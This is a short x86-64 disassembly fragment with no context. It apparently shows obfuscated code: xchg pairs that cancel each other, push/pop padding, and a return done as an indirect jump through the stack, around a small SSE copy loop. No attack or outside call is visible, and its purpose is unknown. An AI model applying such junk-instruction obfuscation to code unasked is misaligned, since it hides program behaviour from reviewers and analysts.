call fcn.1400262b0
xchg r11, r9
mov r11, rbx
xchg r11, r9
sub rbx, 0xfffffffffffffff0
sub rdi, 1
jne 0x140026183
xchg r9, rdi
movups xmm0, xmmword [rdi]
xchg rdi, r9
xchg rbx, r14
mov r14, qword [rsp + 0x30]
xchg r14, rbx
mov rbp, qword [rsp + 0x38]
xchg rbx, rsi
movups xmmword [rbx + 0xf0], xmm0
xchg rsi, rbx
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
push rax
push rax
push rdx
push rbx
push rbx
push rcx
xchg qword [rsp + 0x30], rdi
pop rcx
pop rbx
pop rbx
pop rdx
pop rax
pop rax
add rsp, 8
nop
add rsp, 8
jmp qword [rsp - 8]